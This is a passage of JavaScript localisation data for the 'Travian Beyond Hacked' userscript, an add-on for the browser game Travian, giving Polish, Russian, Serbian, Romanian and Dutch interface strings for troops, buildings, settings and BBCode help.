Imperatoris',\n\t'R6': 'Equites Caesaris',\n\t'R7': 'Taran',\n\t'R8': 'Ognista Katapulta',\n\t'R9': 'Konsul',\n\t'R10': 'Osadnik',\n\t'T1': 'Pałkarz', //teuton\n\t'T2': 'Oszczepnik',\n\t'T3': 'Topornik',\n\t'T4': 'Zwiadowca',\n\t'T5': 'Palladyn',\n\t'T6': 'Germański Rycerz',\n\t'T7': 'Taran',\n\t'T8': 'Katapulta',\n\t'T9': 'Wódz',\n\t'T10': 'Osadnik',\n\t'G1': 'Falanga', //gaulois\n\t'G2': 'Miecznik',\n\t'G3': 'Tropiciel',\n\t'G4': 'Grom Teutatesa',\n\t'G5': 'Jeździec Druidzki',\n\t'G6': 'Haeduan',\n\t'G7': 'Taran',\n\t'G8': 'Trebusz',\n\t'G9': 'Herszt',\n\t'G10': 'Osadnicy',\n\t'N1': 'Szczur', //nature\n\t'N2': 'Pająk',\n\t'N3': 'Wąż',\n\t'N4': 'Nietoperz',\n\t'N5': 'Dzik',\n\t'N6': 'Wilk',\n\t'N7': 'Niedźwiedź',\n\t'N8': 'Krokodyl',\n\t'N9': 'Tygrys',\n\t'N10': 'Słoń',\n\t'LVL': 'Poziom',\t\t//tres important\n\t'MARC': 'Handlowcy',\t//tres important\n\t'TOTAL': 'Łącznie',\n\t'WASTED_SPACE' : 'Zmarnowane miejsce ',\n\t'TBH_SETUP_I': 'Travian Beyond Hacked : Important',\n\t'TBH_SETUP_T': 'Travian Beyond Hacked : Text',\n\t'SAVEREPORT': 'zapisz raport',\n\t'ANONYMIZE': 'anonimowy',\n\t'LBA0': 'Suma ataku',\n\t'LBA1': 'Equivalent des pertes',\n\t'LBA2': 'Suma ataku piechoty',\n\t'LBA3': 'Suma ataku kawalerii',\n\t'LBA4': 'Statystyki',\n\t'LBA5': 'Stracone surowce',\n\t'LBA6': 'Zużycie zboża',\n\t'LBA7': 'Doświadczenie dla bohatera',\n\t'LBA8': 'Udźwig',\n\t'LBA9': 'Surowce stracone w grabieży',\n\t'LBA10': 'Zboże zjadane przez armię',\n\t'LBA11': 'Bohater nie uczestniczył w bitwie',\n\t'LBA12': 'Bohater',\n\t'LBA13': 'Zgrabione surowce',\n\t'LBA14': 'Maksymalny udźwig',\n\t'LBA15': 'Napastnik',\n\t'LBA16': 'Obrońca',\n\t'LBA17': 'Skopiuj i przejdź do symulatora walk',\n\t'LBA18': 'Wklej',\n\t'BBC': 'Tagi BBcode',\n\t'BBC_B': 'Pogrubienie: [b]Text[/b]',\n\t'BBC_I': 'Kursywa: [i]Text[/i]',\n\t'BBC_U': 'Podkreślenie: [u]Text[/u]',\n\t'BBC_C': 'Centrowanie: [c]Text[/c]',\n\t'BBC_COLOR': 'Kolory: [color=blue]Tekst[/color] Porada: Możesz także użyć: color=#0000FF i #00F',\n\t'BBC_URL': 'Link: [url]http://url[/url] lub [url=http://url]Tekst wyświetlany zamiast linku[/url]',\n\t'BBC_IMG': 'Obrazek: [img]URL[/img]'\n\t}\n\tbreak;\n\tcase \"ru\":\t\t// Russe : Для начала, А дальше по факту смотреть надо.\n\tvar newLang = {\n\t'ALIANZA': 'Альянс',\n\t'SIM': 'Симулятор боя',\n\t'SEGURO': 'Вы уверены?',\n\t'MARK': 'Выбрать все',\n\t'PERDIDAS': 'Потери',\n\t'RENT': 'Доход',\n\t'SUBIR_NIVEL': 'Повысить уровень',\n\t'ALDEA': 'по деревням',\n\t'ATACAR': 'Атаковать',\n\t'COMERCIAR': 'Отправить ресурсы',\n\t'GUARDADO': 'Настройки сохранены!',\n\t'DESP_ABR': 'Пер.',\n\t'FALTA': 'Требуется',\n\t'HOY': 'сегодня',\n\t'MANYANA': 'завтра',\n\t'PAS_MANYANA': 'послезавтра',\n\t'MERCADO': 'Рынок',\n\t'CUARTEL': 'Казарма',\n\t'PUNTO': 'Пункт сбора',\n\t'CORRAL': 'Конюшня',\n\t'TALLER': 'Мастерская',\n\t'ENVIAR': 'Отправить ресурсы',\n\t'COMPRAR': 'Покупка',\n\t'VENDER': 'Продажа',\n\t'ENVIAR_IGM': 'Послать IGM',\n\t'LISTO': 'Готово',\n\t'EL': 'в',\n\t'A_LAS': 'в',\n\t'EFICIENCIA': 'Эффективность',\n\t'NUNCA': 'Никогда',\n\t'PC': 'Единицы культуры',\n\t'FUNDAR': 'Вы можете основать или завоевать новую деревню',\n\t'TIEMPO': 'Время',\n\t'STAT': 'Статистика',\n\t'OFREZCO': 'Предлагаю',\n\t'BUSCO': 'Искать',\n\t'TIPO': 'Тип',\n\t'CUALQUIERA': 'Любой',\n\t'DISPONIBLE': 'Только доступные (по количеству торговцев)',\n\t'SI': 'Да',\n\t'NO': 'Нет',\n\t'MARCADORES': 'Закладки',\n\t'ANYADIR': 'Добавить',\n\t'ENLACE': 'Введите URL закладки',\n\t'TEXTO': 'Введите имя закладки',\n\t'ARCHIVE': 'Архив',\n\t'ELIMINAR': 'Удалить',\n\t'ACTUALIZAR': 'Обновить',\n\t'REFRESH_INFORMARION': 'Обновить',\n\t'RESUMEN': 'Сводка',\n\t'RECURSO1': 'Дерево',\n\t'RECURSO2': 'Глина',\n\t'RECURSO3': 'Железо',\n\t'RECURSO4': 'Зерно',\n\t'ALDEA_EXTRA1': 'Послать войска',\n\t'ALDEA_EXTRA2': 'Отправить ресурсы',\n\t'ALDEA_EXTRA3': 'Центровать карту',\n\t'ALDEA_EXTRA4': 'View Global on village',\n\t'ALDEA_EXTRA5': 'Центровать на деревне',\n\t'ALDEA_EXTRA6': 'Информация с TSU',\n\t'ALDEA_EXTRA6B': 'Информация с Travian World Analyzer',\n\t'ALDEA_EXTRA7': 'Информация с Travian-search',\n\t'ALDEA_EXTRA8': 'Расположение на Travmap',\n\t'ADD_ALL': 'Каждого ресурса по ',\n\t'DEMO': 'Снести здание',\n\t'FRIGO': 'Неактивные',\n\t'TOOLS': 'Расстояние-время',\n\t'TAB1': 'Для отображения на Travmap (красная иконка) нескольких альянсов, ведите их названия через запятую.(напр.: A,B,C)',\n\t'TAB2': 'Редактировать закладки',\n\t'TAB3': 'Содержимое блокнота',\n\t'TAB4': 'Свои предложения на рынке',\n\t'TAB5': 'Таблица апгрейда шахт и ферм внизу страницы (0 или 1)',\n\t'TAB6': 'Таблица апгрейда внутренних зданий внизу страницы (0 или 1)',\n\t'TAB7': 'Отображать счётчики ресурсов (0 или 1)',\n\t'TAB8': 'Закладки: дворец и резиденция (0 или 1)',\n\t'TAB9': 'Закладки: каразма, конюшня и мастерская (0 или 1)',\n\t'TAB10': 'Закладки: кузницы оружия и доспехов (0 или 1)',\n\t'TAB11': 'Закладки: таверна (0 или 1)',\n\t'TAB12': 'Показывать закладки',\n\t'TAB13': 'Показывать ссылку на TSU (0 или 1)',\n\t'TAB13B': 'Показывать ссылку на Travian World Analyzer (0 или 1)',\n\t'TAB14': 'Показывать ссылку на Travian-search (0 или 1)',\n\t'TAB15': 'Показывать уровни зданий внутри деревни (0 или 1)',\n\t'TAB16': 'Показывать текст всех сообщений (0 или 1)',\n\t'TAB17': 'Показывать блокнот (0 или 1)',\n\t'TAB18': 'Показывать ссылку на Travmap (0 или 1)',\n\t'TAB19': 'Закладки: ратуша (0 или 1)',\n\t'TAB20': 'Сокращённый перечень ссылок в левой части страницы (0 или 1)',\n\t'TAB21': 'Упрощённый вид статистики в сводке по деревням (0 или 1)',\n\t'TAB22': 'Переместить наверх таблицу статистики в сводке по деревням (0 или 1)',\n\t'TAB23': 'Нападение: Набег / Нападение: обычное (0 или 1)',\n\t'TAB24': 'Положение счетчика ресурсов снизу / сверху (0 или 1)',\n\t'TAB25': 'Показывать общие количество войск в деревне (пункт сбора) (0 или 1)',\n\t'TAB26': 'Таблица краткого обзора дереневь (0 или 1)',\n\t'CLEAN': ' Очистить',\n\t'PAL': 'Дворец',\n\t'RESI': 'Резиденция',\n\t'MAN': 'Таверна',\n\t'USI': 'Кузница доспехов',\n\t'ARM': 'Кузница оружия',\n\t'HOT': 'Ратуша',\n\t'IGMTITLE': 'Тема',\n\t'IGMSENTER': 'Отправитель',\n\t'IGMDATE': 'Дата',\n\t'IGMTIME': 'Время',\n\t'IGMOUTPUT': 'Текст всех сообщений',\n\t'MAXTIME': 'Максимальное время',\n\t'LOGIN': 'Вход',\n\t'TT': 'Обзор',\n\t'RESS': 'Ресурсы на складах',\n\t'DEP': 'Склады (%)',\n\t'PC': 'ЕК',\n\t'TROP': 'Войска',\n\t'MINI': 'Мини-обзор',\n\t'ATT': 'Атаки',\n\t'CONS': 'Строительство',\n\t'FT': 'Праздники',\n\t'FT1': 'Праздник',\n\t'FT2': 'Торжество',\n\t'EXT': 'Длительность',\n\t'IN': 'в',\n\t'JUGADOR': 'Игрок',\n\t'HAB': 'Население',\n\t'COORD': 'Координаты',\n\t'ACCION': 'Действия',\n\t'MAPSCAN': 'Сканировать карту',\n\t'AID': 'Помощь',\n\t'VITS': 'Скорость',\n\t'CAPA': 'Вместимость',\n\t'DIST': 'Расстояние',\n\t'MP': 'К Закладкам ',\n\t'UPDATE_CHECK': 'Проверить версию',\n\t'LAST_VERSION': 'Вы используете последнюю версию',\n\t'NEW_VERSION': 'Есть новая версия',\n\t'UPDATE_NOW': 'Обновить сейчас',\n\t'R1': 'Легионер', // Romans\n\t'R2': 'Преторианец',\n\t'R3': 'Империанец',\n\t'R4': 'Конный Разведчик',\n\t'R5': 'Конница императора',\n\t'R6': 'Конница Цезаря',\n\t'R7': 'Таран',\n\t'R8': 'Огненная катапульта',\n\t'R9': 'Сенатор',\n\t'R10': 'Поселенец',\n\t'T1': 'Дубинщик', // Teutons\n\t'T2': 'Копьеносец',\n\t'T3': 'Топорщик',\n\t'T4': 'Скаут',\n\t'T5': 'Паладин',\n\t'T6': 'Тевтонская конница',\n\t'T7': 'Стенобитное орудие',\n\t'T8': 'Катапульта',\n\t'T9': 'Вождь',\n\t'T10': 'Поселенец',\n\t'G1': 'Фаланга', // Gauls\n\t'G2': 'Мечник',\n\t'G3': 'Следопыт',\n\t'G4': 'Тевтатский гром',\n\t'G5': 'Друид-всадник',\n\t'G6': 'Эдуйская конница',\n\t'G7': 'Таран',\n\t'G8': 'Требучет',\n\t'G9': 'Предводитель',\n\t'G10': 'Поселенец',\n\t'N1': 'Крыса', // Nature\n\t'N2': 'Паук',\n\t'N3': 'Змея',\n\t'N4': 'Летучая мышь',\n\t'N5': 'Кабан',\n\t'N6': 'Волк',\n\t'N7': 'Медведь',\n\t'N8': 'Крокодил',\n\t'N9': 'Тигр',\n\t'N10': 'Слон',\n\t'LVL': 'уровень',\n\t'MARC': 'Торговцы'\n\t}\n\tbreak;\n\tcase \"rs\": //serbian translation\n\tvar newLang = {\n\t'ALIANZA': 'Савез',\n\t'SIM': 'Симулатор борбе',\n\t'SEGURO': 'Да ли сте сигурни?',\n\t'MARK': 'Изабери све',\n\t'PERDIDAS': 'Изгубљено сировина',\n\t'RENT': 'Профит',\n\t'SUBIR_NIVEL': 'Надоградња могућа',\n\t'ALDEA': '',\n\t'ATACAR': 'Напад',\n\t'COMERCIAR': 'Пошаљи сировине',\n\t'GUARDADO': 'Снимљено',\n\t'DESP_ABR': 'Померај',\n\t'FALTA': 'Потребно ти је',\n\t'HOY': 'данас',\n\t'MANYANA': 'сутра',\n\t'PAS_MANYANA': 'прекосутра',\n\t'MERCADO': 'Пијаца',\n\t'CUARTEL': 'Касарна',\n\t'PUNTO': 'Место окупљања',\n\t'CORRAL': 'Штала',\n\t'TALLER': 'Радионица',\n\t'ENVIAR': 'Пошаљи сировине',\n\t'COMPRAR': 'Куповина',\n\t'VENDER': 'Продаја',\n\t'ENVIAR_IGM': 'Пошаљи поруку',\n\t'LISTO': 'Спреман',\n\t'EL': 'за',\n\t'A_LAS': 'у',\n\t'EFICIENCIA': 'Ефикасност',\n\t'NUNCA': 'Никада',\n\t'PC': 'културних поена',\n\t'FUNDAR': 'Можете освојити или основати ново село',\n\t'TIEMPO': 'Време',\n\t'STAT': 'Статистика',\n\t'OFREZCO': 'Нуди',\n\t'BUSCO': 'Тражи',\n\t'TIPO': 'Тип',\n\t'CUALQUIERA': 'Све',\n\t'DISPONIBLE': 'Само доступно',\n\t'SI': 'Да',\n\t'NO': 'Не',\n\t'MARCADORES': 'Линкови',\n\t'ANYADIR': 'Додај',\n\t'ENLACE': 'URL новог линка',\n\t'TEXTO': 'Назив новог линка',\n\t'ARCHIVE': 'Архива',\n\t'ELIMINAR': 'Избриши',\n\t'ACTUALIZAR': 'освежи',\n\t'REFRESH_INFORMARION': 'Освежи информације',\n\t'RESUMEN': 'Збирно',\n\t'RECURSO1': 'дрво',\n\t'RECURSO2': 'глина',\n\t'RECURSO3': 'гвожђе',\n\t'RECURSO4': 'жито',\n\t'ALDEA_EXTRA1': 'Пошаљи војску',\n\t'ALDEA_EXTRA2': 'Пошаљи сировине',\n\t'ALDEA_EXTRA3': 'Центрирај карту овде',\n\t'ALDEA_EXTRA4': 'Погледај село',\n\t'ALDEA_EXTRA5': 'Центрирај карту овде',\n\t'ALDEA_EXTRA6': 'Инфо TSU',\n\t'ALDEA_EXTRA6B': 'Инфо Travian World Analyzer',\n\t'ALDEA_EXTRA7': 'Инфо Travian-search',\n\t'ALDEA_EXTRA8': 'Локација на Travmap',\n\t'ADD_ALL': 'За све ',\n\t'DEMO': 'Главна зграда',\n\t'FRIGO': 'Неактивни',\n\t'TOOLS': 'Даљине и времена',\n\t'TAB1': 'За приказ на Travmap можете раздвојти више савеза зарезом (пример: A,B,C)',\n\t'TAB2': 'Едитуј линкове',\n\t'TAB3': 'Бележница',\n\t'TAB4': 'Продајне цене на пијаци',\n\t'TAB5': 'Инфо надоградње сировине',\n\t'TAB6': 'Инфо надоградње грађевине',\n\t'TAB7': 'Време пуњења/пражњења складишта/силоса',\n\t'TAB8': 'Линкови на административне грађевине',\n\t'TAB9': 'Линкови на војне грађевине',\n\t'TAB10': 'Линкови на грађевине за унапређење',\n\t'TAB11': 'Прилагођени линкови',\n\t'TAB12': 'Прикажи линкове',\n\t'TAB13': 'Прикажи инфо TSU',\n\t'TAB13B': 'Прикажи инфо Travian World Analyzer',\n\t'TAB14': 'Прикажи инфо Travian-search',\n\t'TAB15': 'Прикази степен грађевине',\n\t'TAB16': 'Прикажи садржај порука',\n\t'TAB17': 'Прикажи бележницу',\n\t'TAB18': 'Прикажи инфо Travmap',\n\t'TAB19': 'Линк на општину',\n\t'TAB20': 'Поједностави листу линкова на левој страни',\n\t'TAB21': 'Пoједностави збирни преглед села',\n\t'TAB22': 'Премести збирни преглед села',\n\t'TAB23': 'Пљачка / Напад',\n\t'TAB24': 'Премести време пуњења/пражњења',\n\t'TAB25': 'Прикажи укупан број трупа из села (место окупљања)',\n\t'TAB26': 'Прикажи преглед села',\n\t'TAB27': 'Слике са приватног сервера : [ ]<br>Слике са травиан сервера : [x]',\n\t'TAB28': 'Унеси ИД главног града ID (ex: 13695)\\n<br>-> http://-/dorf1.php?newdid=13695',\n\t'TAB29': 'Прикажи додатне иконе',\n\t'TAB30': 'Прикажи анализу битке',\n\t'TAB31': 'Прикажи помоћ за BBCode',\n\t'TAB32': 'Прикажи степен поља/рудника',\n\t'TAB33': 'Прикажи НПЦ помоћника',\n\t'TAB34': 'Прикажи брѕи иѕвешатај',\n\t'TAB35': 'Одреди брзину јединица за прозор са даљинама (пр. за сенатора: 4)',\n\t'CLEAN': ' Избриши',\n\t'PAL': 'Палата',\n\t'RESI': 'Резиденција',\n\t'MAN': 'Дворац хероја',\n\t'USI': 'Ковачница оклопа',\n\t'ARM': 'Ковачница оружја',\n\t'HOT': 'Општина',\n\t'IGMTITLE': 'Тема',\n\t'IGMSENTER': 'Пошиљалац',\n\t'IGMDATE': 'датум',\n\t'IGMTIME': 'време',\n\t'IGMOUTPUT': 'Прикажи садржај порука',\n\t'MAXTIME': 'Максимално време',\n\t'LOGIN': 'Име',\n\t'TT': 'Преглед',\n\t'RESS': 'Сировине',\n\t'DEP': 'Складиште',\n\t'PC': 'КП',\n\t'TROP': 'Војска',\n\t'MINI': 'Мини',\n\t'ATT': 'Напад',\n\t'CONS': 'Изградња',\n\t'FT': 'Забаве',\n\t'FT1': 'Мала забава',\n\t'FT2': 'Велика забава',\n\t'EXT': 'Проширење',\n\t'IN': '',\n\t'JUGADOR': 'Играч',\n\t'HAB': 'Становништво',\n\t'COORD': 'Координате',\n\t'ACCION': 'Акција',\n\t'MAPSCAN': 'Претражи мапу',\n\t'AID': 'Помоћ',\n\t'VITS': 'Брзина',\n\t'CAPA': 'Капацитет',\n\t'DIST': 'Даљина',\n\t'MP': 'Додај у линкове',\n\t'UPDATE_CHECK': 'Провери верзију',\n\t'LAST_VERSION': 'Користите последњу верзију',\n\t'NEW_VERSION': 'Нова верзија је доступна',\n\t'UPDATE_NOW': 'Унапреди сада',\n\t'R1': 'Легионар', // Romans\n\t'R2': 'Преторијанац',\n\t'R3': 'Империјанац',\n\t'R4': 'Извиђач',\n\t'R5': 'Императорова коњица',\n\t'R6': 'Цезарева коњица',\n\t'R7': 'Ован',\n\t'R8': 'Ватрени катапулт',\n\t'R9': 'Сенатор',\n\t'R10': 'Насељеник',\n\t'T1': 'Батинар',\t// Teutons\n\t'T2': 'Копљаник',\n\t'T3': 'Секираш',\n\t'T4': 'Извиђач',\n\t'T5': 'Паладин',\n\t'T6': 'тевтонски витез',\n\t'T7': 'Ован',\n\t'T8': 'Катапулт',\n\t'T9': 'Поглавица',\n\t'T10': 'Насељеник',\n\t'G1': 'Фаланга',\t// Gauls\n\t'G2': 'Мачевачац',\n\t'G3': 'Извиђач',\n\t'G4': 'Галски витез',\n\t'G5': 'Друид',\n\t'G6': 'Коњаник',\n\t'G7': 'Ован',\n\t'G8': 'Катапулт',\n\t'G9': 'Старешина',\n\t'G10': 'Насељеник',\n\t'N1': 'Пацов',\t// Nature\n\t'N2': 'Паук',\n\t'N3': 'Змија',\n\t'N4': 'Слепи мип',\n\t'N5': 'Дивља свиња',\n\t'N6': 'Вук',\n\t'N7': 'Медвед',\n\t'N8': 'Крокодил',\n\t'N9': 'Тигар',\n\t'N10': 'Слон',\n\t'LVL': 'степен',\t\t// Very important\n\t'MARC': 'Трговац',\t\t// Very important\n\t'TOTAL': 'Укупно',\n\t'WASTED_SPACE': 'Неискоришћено',\n\t'TBH_SETUP_I': 'Travian Beyond Hacked : Важно (0/1)',\n\t'TBH_SETUP_T': 'Travian Beyond Hacked : Текст',\n\t'SAVEREPORT': 'Сними извештај',\n\t'ANONYMIZE': 'Сакри податке',\n\t'LBA0':'Јачина напада',\n\t'LBA2':'Укупна одбрана од пешадије',\n\t'LBA3':'Укупна одбрана од коњице',\n\t'LBA4':'Статистика',\n\t'LBA5':'Однос губитака',\n\t'LBA6':'Потрошња жита',\n\t'LBA7':'Искуство хероја',\n\t'LBA9':'Губитак у житу',\n\t'LBA10':'Потрошња жита за исхрану војске',\n\t'LBA11':'Херој није добио ништа',\n\t'LBA12':'Херој',\n\t'LBA13':'Количина опљачканих сировина',\n\t'LBA14':'Максимална количина коју могу да понесу преживели',\n\t'LBA15':'Нападач',\n\t'LBA16':'Бранилац',\n\t'LBA17': 'Копирај и отвори симулатор битке',\n\t'LBA18': 'Убаци копирано',\n\t'BBC': 'Корисни ББкодови',\n\t'BBC_B': 'Зацрњено: [b]Текст[/b]',\n\t'BBC_I': 'Косо: [i]Текст[/i]',\n\t'BBC_U': 'Подвучено: [u]Текст[/u]',\n\t'BBC_C': 'Центрирано: [c]Текст[/c]',\n\t'BBC_COLOR': 'Боја: [color=blue]Текст[/color] Tipp: You can use these too: color=#0000FF and #00F',\n\t'BBC_URL': 'Линк: [url]http://url[/url] or [url=http://url]Назив линка[/url]',\n\t'BBC_IMG': 'Слика: [img]URL[/img]',\n\t'THS0': 'Тренутно ЕП:',\n\t'THS1': 'Следећи ниво:',\n\t'THS2': 'Потребно:'\n\t}\n\tbreak;\n\tcase \"ro\":\t\t// Napkin | Atomic | Viorakis : Romanian language\n\tvar newLang = {\n\t'ALIANZA': 'Alianţa',\n\t'SIM': 'Simulator luptă',\n\t'SEGURO': 'Eşti sigur?',\n\t'MARK': 'Selectează tot',\n\t'PERDIDAS': 'Pierderi',\n\t'RENT': 'Profit',\n\t'SUBIR_NIVEL': 'Extindere posibilă',\n\t'ALDEA': 'Numele satului',\n\t'ATACAR': 'Atacă',\n\t'COMERCIAR': 'Trimite resurse',\n\t'GUARDADO': 'Salvat',\n\t'DESP_ABR': 'Mov.',\n\t'FALTA': 'Ai nevoie de',\n\t'HOY': 'azi',\n\t'MANYANA': 'mâine',\n\t'PAS_MANYANA': 'poimâine',\n\t'MERCADO': 'Piaţă',\n\t'CUARTEL': 'Cazarma',\n\t'PUNTO': 'Adunare',\n\t'CORRAL': 'Grajd',\n\t'TALLER': 'Atelier',\n\t'ENVIAR': 'Trimite resurse',\n\t'COMPRAR': 'Cumpără',\n\t'VENDER': 'Vinde',\n\t'ENVIAR_IGM': 'Trimite IGM',\n\t'LISTO': 'Gata',\n\t'EL': 'pe',\n\t'A_LAS': 'la',\n\t'EFICIENCIA': 'Eficienţă',\n\t'NUNCA': 'Niciodată',\n\t'PC': 'Puncte de cultură',\n\t'FUNDAR': 'Poţi întemeia sau cuceri alt sat',\n\t'TIEMPO': 'Timp',\n\t'STAT': 'Statistic',\n\t'OFREZCO': 'Ofertă',\n\t'BUSCO': 'Caută',\n\t'TIPO': 'Fel',\n\t'CUALQUIERA': 'Oricare',\n\t'DISPONIBLE': 'Disponibil doar',\n\t'SI': 'Da',\n\t'NO': 'Nu',\n\t'MARCADORES': 'Scurtături',\n\t'ANYADIR': 'Adaugă',\n\t'ENLACE': 'Scurtături URL',\n\t'TEXTO': 'Scurtături Text',\n\t'ARCHIVE': 'Arhivă',\n\t'ELIMINAR': 'Şterge',\n\t'ACTUALIZAR': 'Actualizează',\n\t'REFRESH_INFORMARION': 'Actualizare Info',\n\t'RESUMEN': 'Rezumat',\n\t'RECURSO1': 'Lemn',\n\t'RECURSO2': 'Lut',\n\t'RECURSO3': 'Fier',\n\t'RECURSO4': 'Hrană',\n\t'ALDEA_EXTRA1': 'Trimite unităţile',\n\t'ALDEA_EXTRA2': 'Trimite resurse',\n\t'ALDEA_EXTRA3': 'Centrează harta',\n\t'ALDEA_EXTRA4': 'Vedere globală a satului',\n\t'ALDEA_EXTRA5': 'Centrul satului',\n\t'ALDEA_EXTRA6': 'Info TSU',\n\t'ALDEA_EXTRA6B': 'Info Travian World Analyzer',\n\t'ALDEA_EXTRA7': 'Info Travian-search',\n\t'ALDEA_EXTRA8': 'Localizare in Travmap',\n\t'ADD_ALL': 'Pentru toţi ',\n\t'DEMO': 'Demolează',\n\t'FRIGO': 'Frigo',\n\t'TOOLS': 'Distanţă si timp',\n\t'TAB1': 'Pentru localizarea pe Travmap (rosu), separaţi fiecare alianţă cu o virgulă.(ex: A,B,C)',\n\t'TAB2': 'Editaţi Scurtăturile',\n\t'TAB3': 'Carneţel',\n\t'TAB4': 'Preturi vânzare la târg',\n\t'TAB5': 'Info tabela reprezentare ',\n\t'TAB6': 'Info tabela clădiri ',\n\t'TAB7': 'Vizualizare capacitate depozit ',\n\t'TAB8': 'Semn de carte construcţii administrative ',\n\t'TAB9': 'Semn de carte construcţii militare',\n\t'TAB10': 'Semn de carte construcţii ptr. îmbunătăţiri ',\n\t'TAB11': 'Semn decarte Perso Mik ',\n\t'TAB12': 'Arată Scurtăturile ',\n\t'TAB13': 'Arată Info TSU ',\n\t'TAB13B': 'Arată Info Travian World Analyzer ',\n\t'TAB14': 'Arată Info Travian-search ',\n\t'TAB15': 'Arată Nr. pe clădiri ',\n\t'TAB16': 'Arată continutul mesajelor ',\n\t'TAB17': 'Arată Note ',\n\t'TAB18': 'Arată Info Travmap ',\n\t'TAB19': 'Semn de carte construcţie. primărie ',\n\t'TAB20': 'Simplifică lista legaturilor din stânga ',\n\t'TAB21': 'Simplifică sumarul satelor ',\n\t'TAB22': 'Repoziţionează sumarul satelor ',\n\t'CLEAN': ' Curăţă',\n\t'TAB24': 'Repoziţioneaza capacitate depozit ',\n\t'TAB25': 'Afişeaza suma trupelor in adunare ',\n\t'TAB26': 'Info rezumat sate',\n\t'TAB27': 'Image server private :[X]<br>Image server travian : [ ]',\n\t'TAB28': 'IDul capitalei (ex: 13695)\\n<br>-> http://-/dorf1.php?newdid=13695',\n\t'TAB29': 'Arată icoanele extra',\n\t'TAB30': 'Arată Battle Analyse',\n\t'TAB31': 'Arată BBcode Help',\n\t'CLEAN': 'Şterge',\n\t'PAL': 'Palat',\n\t'RESI': 'Vilă',\n\t'MAN': 'Reşedinţa eroului',\n\t'USI': 'Armurier',\n\t'ARM': 'Fierărie',\n\t'HOT': 'Primărie',\n\t'IGMTITLE': 'Subiect',\n\t'IGMSENTER': 'Expeditor',\n\t'IGMDATE': 'Data',\n\t'IGMTIME': 'Ora',\n\t'IGMOUTPUT': 'Arată conţinutul mesajelor',\n\t'MAXTIME': 'Timp maxim',\n\t'LOGIN': 'Login',\n\t'TT': 'Hambare global',\n\t'RESS': 'Resurse',\n\t'DEP': 'Hambare în %',\n\t'PC': 'Puncte de cultură',\n\t'TROP': 'Trupe',\n\t'MINI': 'Mini',\n\t'ATT': 'Atacuri',\n\t'CONS': 'Clădiri',\n\t'FT': 'petrecere',\n\t'FT1': 'petrecere mică',\n\t'FT2': 'petrecere mare',\n\t'EXT': 'Expansiune',\n\t'IN': 'în',\n\t'JUGADOR': 'Jucător',\n\t'HAB': 'Populaţie',\n\t'COORD': 'Coordonate',\n\t'ACCION': 'Acţiuni',\n\t'MAPSCAN': 'Scan hartă',\n\t'aid': 'Ajutor',\n\t'VITS': 'Viteza',\n\t'CAPA': 'Capacitate',\n\t'DIST': 'Distanţa',\n\t'MP': 'Aduagă la scurtături ',\n\t'UPDATE_CHECK': 'Update Check',\n\t'LAST_VERSION': 'Versiunea actuală',\n\t'NEW_VERSION': 'O versiune nouă este disponibilă',\n\t'UPDATE_NOW': 'Update acum',\n\t'R1': 'Legionar', //Romans\n\t'R2': 'Pretorian',\n\t'R3': 'Imperian',\n\t'R4': 'Equites Legati',\n\t'R5': 'Equites Imperatoris',\n\t'R6': 'Equites Caesaris',\n\t'R7': 'Berbec',\n\t'R8': 'Catapulta',\n\t'R9': 'Senator',\n\t'R10': 'Colonist',\n\t'T1': 'Măciucar', //Teutons\n\t'T2': 'Lancier',\n\t'T3': 'Executor',\n\t'T4': 'Spion',\n\t'T5': 'Paladin',\n\t'T6': 'Cavale Teuton',\n\t'T7': 'Berbec',\n\t'T8': 'Catapulta',\n\t'T9': 'Căpetenie',\n\t'T10': 'Colonist',\n\t'G1': 'Scutier', //Gauls\n\t'G2': 'Pedestru',\n\t'G3': 'Iscoada',\n\t'G4': 'Călaret Fulger',\n\t'G5': 'Druidieri',\n\t'G6': 'Tarabostes',\n\t'G7': 'Berbec',\n\t'G8': 'Catapulta',\n\t'G9': 'General',\n\t'G10': 'Colonist',\n\t'N1': 'Şobolan', //Nature\n\t'N2': 'Paianjen',\n\t'N3': 'Şarpe',\n\t'N4': 'Liliac',\n\t'N5': 'Mistreţ',\n\t'N6': 'Lup',\n\t'N7': 'Urs',\n\t'N8': 'Crocodil',\n\t'N9': 'Tigru',\n\t'N10': 'Elefant',\n\t'LVL': 'Nivel',\n\t'MARC': 'Curier',\n\t'TOTAL': 'Total',\n\t'WASTED_SPACE': 'Loc liber',\n\t'TBH_SETUP_I': 'Travian Beyond Hacked : Setări ',\n\t'TBH_SETUP_T': 'Travian Beyond Hacked : Text',\n\t'SAVEREPORT': 'Salvează raportul',\n\t'ANONYMIZE': 'Anonim',\n\t'LBA0':'Puterea totală de atac',\n\t'LBA2':'Puterea totală de apărare înpotriva infanteriei',\n\t'LBA3':'Puterea totală de apărare înpotriva cavaleriei',\n\t'LBA4':'Statistica generală:',\n\t'LBA5':'Pierderi',\n\t'LBA6':'Consum',\n\t'LBA7':'Exp.erou',\n\t'LBA9':'Echivalentul pierderilor in resurse',\n\t'LBA10':'Consumul total de crop',\n\t'LBA11':'Eroul nu a participat',\n\t'LBA12':'Erou',\n\t'LBA13':'Cantitatea totală jefuită',\n\t'LBA14':'Capacitatea totală de transport',\n\t'LBA15':'Atacator',\n\t'LBA16':'Apărător'\n\t}\n\tbreak;\n\tcase \"nl\":\t\t//Ngwalme\n\tvar newLang = {\n\t'ALIANZA': 'Alliantie',\n\t'SIM': 'Aanvals_simulator',\n\t'SEGURO': 'Zeker weten?',\n\t'MARK': 'Selecteer alles',\n\t'PERDIDAS': 'Verlies',\n\t'RENT': 'Winst',\n\t'SUBIR_NIVEL': 'Uitbreiding beschikbaar',\n\t'ALDEA': 'Dorpsnaam',\n\t'ATACAR': 'Aanval',\n\t'COMERCIAR': 'Stuur Grondstoffen',\n\t'GUARDADO': 'Opgeslagen',\n\t'DESP_ABR': 'Mov.',\n\t'FALTA': 'Nog nodig',\n\t'HOY': 'vandaag',\n\t'MANYANA': 'morgen',\n\t'PAS_MANYANA': 'overmorgen',\n\t'MERCADO': 'Marktplaats',\n\t'CUARTEL': 'Barakken',\n\t'PUNTO': 'Verzamelplaats',\n\t'CORRAL': 'Stal',\n\t'TALLER': 'Werkplaats',\n\t'ENVIAR': 'Stuur grondstoffen',\n\t'COMPRAR': 'Koop',\n\t'VENDER': 'Verkoop',\n\t'ENVIAR_IGM': 'Stuur IGM',\n\t'LISTO': 'Klaar',\n\t'EL': 'om',\n\t'A_LAS': 'op',\n\t'EFICIENCIA': 'Efficiëntie',\n\t'NUNCA': 'Nooit',\n\t'PC': 'cultuur punten',\n\t'FUNDAR': 'Je kunt een nieuw dorp stichten of overnemen',\n\t'TIEMPO': 